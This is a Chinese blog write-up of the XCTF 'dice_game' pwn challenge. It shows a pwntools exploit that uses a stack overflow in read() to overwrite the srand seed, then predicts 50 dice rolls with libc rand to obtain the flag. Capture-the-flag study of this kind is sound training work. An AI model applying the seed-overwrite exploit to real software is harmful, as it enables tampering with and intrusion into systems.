攻防世界 Pwn dice_game

本文介绍Pwndice_game挑战的解决方法,包括利用栈溢出覆盖随机数种子以预测骰子点数,最终获得flag的过程。涉及checksec检查、IDA分析及编写exp等步骤。

1.题目下载地址

点击下载

2.checksec

在这里插入图片描述
没有canary,可能是简单的栈溢出

3.IDA分析

在这里插入图片描述
在sub_A20()中可以看出v2是一个通过种子生成的 1~6 的 随机数
之前有做过类似的题,只要控制种子即可预测随机数
在这里插入图片描述
在read函数处有栈溢出的漏洞
在这里插入图片描述

在下面看到需要连续答对50次才可以获取flag
那么我们构造的思路就是利用这个溢出点覆盖seed从而预测随机数

4.exp

from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()

在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值